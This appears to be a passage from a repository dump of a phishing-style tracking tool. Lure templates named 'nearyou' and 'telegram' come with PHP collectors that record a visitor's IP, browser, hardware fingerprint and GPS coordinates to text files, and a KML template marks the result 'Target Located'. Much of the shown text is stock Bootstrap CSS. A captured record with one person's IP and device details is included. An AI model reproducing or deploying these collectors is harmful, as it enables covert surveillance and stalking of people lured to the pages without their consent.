speedAdjF=Math.pow(this.SPEED_ADJ_FACTOR<0?0:this.SPEED_ADJ_FACTOR>1?1:this.SPEED_ADJ_FACTOR,1/speedMulF);this.SPEED=this.TARGET_SPEED*speedAdjF+this.SPEED*(1-speedAdjF),this.SPEED<0&&(this.SPEED=0);for(var speed=this.SPEED*speedMulF,i=0;i
42 |
--------------------------------------------------------------------------------
/template/nearyou/php/info.php:
--------------------------------------------------------------------------------
1 | $ptf,
46 | 'browser' => $brw,
47 | 'cores' => $cc,
48 | 'ram' => $ram,
49 | 'vendor' => $ven,
50 | 'render' => $ren,
51 | 'ip' => $ip,
52 | 'ht' => $ht,
53 | 'wd' => $wd,
54 | 'os' => $os);
55 |
56 | $jdata = json_encode($data);
57 |
58 | $f = fopen('info.txt', 'w+');
59 | fwrite($f, $jdata);
60 | fclose($f);
61 | }
62 | ?>
63 |
--------------------------------------------------------------------------------
/template/nearyou/php/info.txt:
--------------------------------------------------------------------------------
1 | {"dev":[{"platform":"Win32","browser":"Chrome\/81.0.4044.92","cores":"8","ram":"8","vendor":"Google Inc.","render":"ANGLE (NVIDIA GeForce GTX 1070 Direct3D11 vs_5_0 ps_5_0)","ip":"146.196.34.142","ht":"1080","wd":"1920","os":"Win64"}]}
--------------------------------------------------------------------------------
/template/nearyou/php/result.php:
--------------------------------------------------------------------------------
1 | $lat,
15 | 'lon' => $lon,
16 | 'acc' => $acc,
17 | 'alt' => $alt,
18 | 'dir' => $dir,
19 | 'spd' => $spd);
20 |
21 | $jdata = json_encode($data);
22 |
23 | $f = fopen('result.txt', 'w+');
24 | fwrite($f, $jdata);
25 | fclose($f);
26 | }
27 | ?>
28 |
--------------------------------------------------------------------------------
/template/nearyou/php/result.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/template/sample.kml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
17 |
18 |
19 | Target Located
20 | #icon
21 |
22 | LONGITUDE,LATITUDE,0
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/template/telegram/css/bootstrap.min.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Bootstrap v3.2.0 (http://getbootstrap.com)
3 | * Copyright 2011-2014 Twitter, Inc.
4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
5 | */
6 |
7 | /*!
8 | * Generated using the Bootstrap Customizer (http://getbootstrap.com/customize/?id=92d2ac1b31978642b6b6)
9 | * Config saved to config.json and https://gist.github.com/92d2ac1b31978642b6b6
10 | *//*! normalize.css v3.0.1 | MIT License | git.io/normalize */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Lucida Grande","Lucida Sans Unicode",Arial,Helvetica,Verdana,sans-serif;font-size:12px;line-height:1.42857143;color:#333;background-color:#fff}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#2e87ca;text-decoration:none}a:hover,a:focus{color:#2e87ca;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive{display:block;width:100% \9;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;display:inline-block;width:100% \9;max-width:100%;height:auto}.img-circle{border-radius:50%}hr{margin-top:17px;margin-bottom:17px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small{font-weight:normal;line-height:1;color:#777}h1,.h1,h2,.h2,h3,.h3{margin-top:17px;margin-bottom:8.5px}h1 small,.h1 small,h2 small,.h2 small,h3 small,.h3 small,h1 .small,.h1 .small,h2 .small,.h2 .small,h3 .small,.h3 .small{font-size:65%}h4,.h4,h5,.h5,h6,.h6{margin-top:8.5px;margin-bottom:8.5px}h4 small,.h4 small,h5 small,.h5 small,h6 small,.h6 small,h4 .small,.h4 .small,h5 .small,.h5 .small,h6 .small,.h6 .small{font-size:75%}h1,.h1{font-size:31px}h2,.h2{font-size:25px}h3,.h3{font-size:21px}h4,.h4{font-size:15px}h5,.h5{font-size:12px}h6,.h6{font-size:11px}p{margin:0 0 8.5px}.lead{margin-bottom:17px;font-size:13px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:18px}}small,.small{font-size:91%}cite{font-style:normal}mark,.mark{background-color:#fcf8e3;padding:.2em}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#428bca}a.text-primary:hover{color:#3071a9}.text-success{color:#3c763d}a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#428bca}a.bg-primary:hover{background-color:#3071a9}.bg-success{background-color:#dff0d8}a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:7.5px;margin:34px 0 17px;border-bottom:1px solid #eee}ul,ol{margin-top:0;margin-bottom:8.5px}ul ul,ol ul,ul ol,ol ol{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-left:5px;padding-right:5px}dl{margin-top:0;margin-bottom:17px}dt,dd{line-height:1.42857143}dt{font-weight:bold}dd{margin-left:0}@media (min-width:1px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:8.5px 17px;margin:0 0 17px;font-size:15px;border-left:5px solid #eee}blockquote p:last-child,blockquote ul:last-child,blockquote ol:last-child{margin-bottom:0}blockquote footer,blockquote small,blockquote .small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote footer:before,blockquote small:before,blockquote .small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;border-right:5px solid #eee;border-left:0;text-align:right}.blockquote-reverse footer:before,blockquote.pull-right footer:before,.blockquote-reverse small:before,blockquote.pull-right small:before,.blockquote-reverse .small:before,blockquote.pull-right .small:before{content:''}.blockquote-reverse footer:after,blockquote.pull-right footer:after,.blockquote-reverse small:after,blockquote.pull-right small:after,.blockquote-reverse .small:after,blockquote.pull-right .small:after{content:'\00A0 \2014'}blockquote:before,blockquote:after{content:""}address{margin-bottom:17px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c61717;background-color:#feeae4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;box-shadow:inset 0 -1px 0 rgba(0,0,0,0.25)}kbd kbd{padding:0;font-size:100%;box-shadow:none}pre{display:block;padding:8px;margin:0 0 8.5px;font-size:11px;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#546172;background-color:#ecf3f8;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}table{background-color:transparent}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:17px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #eee}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #eee}.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td{border-top:0}.table>tbody+tbody{border-top:2px solid #eee}.table .table{background-color:#fff}.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td{padding:5px}.table-bordered{border:1px solid #eee}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #eee}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px}.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr:nth-child(odd)>th{background-color:#f9f9f9}.table-hover>tbody>tr:hover>td,.table-hover>tbody>tr:hover>th{background-color:#f5f5f5}table col[class*="col-"]{position:static;float:none;display:table-column}table td[class*="col-"],table th[class*="col-"]{position:static;float:none;display:table-cell}.table>thead>tr>td.active,.table>tbody>tr>td.active,.table>tfoot>tr>td.active,.table>thead>tr>th.active,.table>tbody>tr>th.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>tbody>tr.active>td,.table>tfoot>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr.active>th,.table>tfoot>tr.active>th{background-color:#f5f5f5}.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover,.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr.active:hover>th{background-color:#e8e8e8}.table>thead>tr>td.success,.table>tbody>tr>td.success,.table>tfoot>tr>td.success,.table>thead>tr>th.success,.table>tbody>tr>th.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>tbody>tr.success>td,.table>tfoot>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr.success>th,.table>tfoot>tr.success>th{background-color:#dff0d8}.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr.success:hover>th{background-color:#d0e9c6}.table>thead>tr>td.info,.table>tbody>tr>td.info,.table>tfoot>tr>td.info,.table>thead>tr>th.info,.table>tbody>tr>th.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>tbody>tr.info>td,.table>tfoot>tr.info>td,.table>thead>tr.info>th,.table>tbody>tr.info>th,.table>tfoot>tr.info>th{background-color:#d9edf7}.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover,.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr.info:hover>th{background-color:#c4e3f3}.table>thead>tr>td.warning,.table>tbody>tr>td.warning,.table>tfoot>tr>td.warning,.table>thead>tr>th.warning,.table>tbody>tr>th.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>tbody>tr.warning>td,.table>tfoot>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr.warning>th,.table>tfoot>tr.warning>th{background-color:#fcf8e3}.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr.warning:hover>th{background-color:#faf2cc}.table>thead>tr>td.danger,.table>tbody>tr>td.danger,.table>tfoot>tr>td.danger,.table>thead>tr>th.danger,.table>tbody>tr>th.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>tbody>tr.danger>td,.table>tfoot>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr.danger>th,.table>tfoot>tr.danger>th{background-color:#f2dede}.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr.danger:hover>th{background-color:#ebcccc}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:12.75px;overflow-y:hidden;overflow-x:auto;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #eee;-webkit-overflow-scrolling:touch}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;margin-bottom:17px;font-size:18px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:bold}input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type="file"]{display:block}input[type="range"]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:12px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:31px;padding:6px 12px;font-size:12px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s, box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6)}.form-control::-moz-placeholder{color:#777;opacity:1}.form-control:-ms-input-placeholder{color:#777}.form-control::-webkit-input-placeholder{color:#777}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#eee;opacity:1}textarea.form-control{height:auto}input[type="search"]{-webkit-appearance:none}input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{line-height:31px;line-height:1.42857143 \0}input[type="date"].input-sm,input[type="time"].input-sm,input[type="datetime-local"].input-sm,input[type="month"].input-sm{line-height:28px}input[type="date"].input-lg,input[type="time"].input-lg,input[type="datetime-local"].input-lg,input[type="month"].input-lg{line-height:42px}.form-group{margin-bottom:15px}.radio,.checkbox{position:relative;display:block;min-height:17px;margin-top:10px;margin-bottom:10px}.radio label,.checkbox label{padding-left:20px;margin-bottom:0;font-weight:normal;cursor:pointer}.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{position:absolute;margin-left:-20px;margin-top:4px \9}.radio+.radio,.checkbox+.checkbox{margin-top:-5px}.radio-inline,.checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px}input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"].disabled,input[type="checkbox"].disabled,fieldset[disabled] input[type="radio"],fieldset[disabled] input[type="checkbox"]{cursor:not-allowed}.radio-inline.disabled,.checkbox-inline.disabled,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox-inline{cursor:not-allowed}.radio.disabled label,.checkbox.disabled label,fieldset[disabled] .radio label,fieldset[disabled] .checkbox label{cursor:not-allowed}.form-control-static{padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-left:0;padding-right:0}.input-sm,.form-horizontal .form-group-sm .form-control{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.input-sm{height:28px;line-height:28px}textarea.input-sm,select[multiple].input-sm{height:auto}.input-lg,.form-horizontal .form-group-lg .form-control{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.input-lg{height:42px;line-height:42px}textarea.input-lg,select[multiple].input-lg{height:auto}.has-feedback{position:relative}.has-feedback .form-control{padding-right:38.75px}.form-control-feedback{position:absolute;top:22px;right:0;z-index:2;display:block;width:31px;height:31px;line-height:31px;text-align:center}.input-lg+.form-control-feedback{width:42px;height:42px;line-height:42px}.input-sm+.form-control-feedback{width:28px;height:28px;line-height:28px}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;border-color:#3c763d;background-color:#dff0d8}.has-success .form-control-feedback{color:#3c763d}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;border-color:#8a6d3b;background-color:#fcf8e3}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;border-color:#a94442;background-color:#f2dede}.has-error .form-control-feedback{color:#a94442}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn,.form-inline .input-group .form-control{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .radio label,.form-inline .checkbox label{padding-left:0}.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px}.form-horizontal .radio,.form-horizontal .checkbox{min-height:24px}.form-horizontal .form-group{margin-left:-15px;margin-right:-15px}@media (min-width:768px){.form-horizontal .control-label{text-align:right;margin-bottom:0;padding-top:7px}}.form-horizontal .has-feedback .form-control-feedback{top:0;right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:14.3px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px}}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:12px;text-align:left;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:7.5px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#fff;text-decoration:none;outline:0;background-color:#428bca}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#777}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);cursor:not-allowed}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{left:auto;right:0}.dropdown-menu-left{left:0;right:auto}.dropdown-header{display:block;padding:3px 20px;font-size:11px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media (min-width:1px){.navbar-right .dropdown-menu{left:auto;right:0}.navbar-right .dropdown-menu-left{left:0;right:auto}}.nav{margin-bottom:0;padding-left:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#777;text-decoration:none;background-color:transparent;cursor:not-allowed}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#eee;border-color:#2e87ca}.nav .nav-divider{height:1px;margin:7.5px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#fff;background-color:#428bca}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-right-radius:0;border-top-left-radius:0}.navbar{position:relative;min-height:48px;margin-bottom:17px;border:1px solid transparent}@media (min-width:1px){.navbar{border-radius:4px}}@media (min-width:1px){.navbar-header{float:left}}.navbar-collapse{overflow-x:visible;padding-right:15px;padding-left:15px;border-top:1px solid transparent;box-shadow:inset 0 1px 0 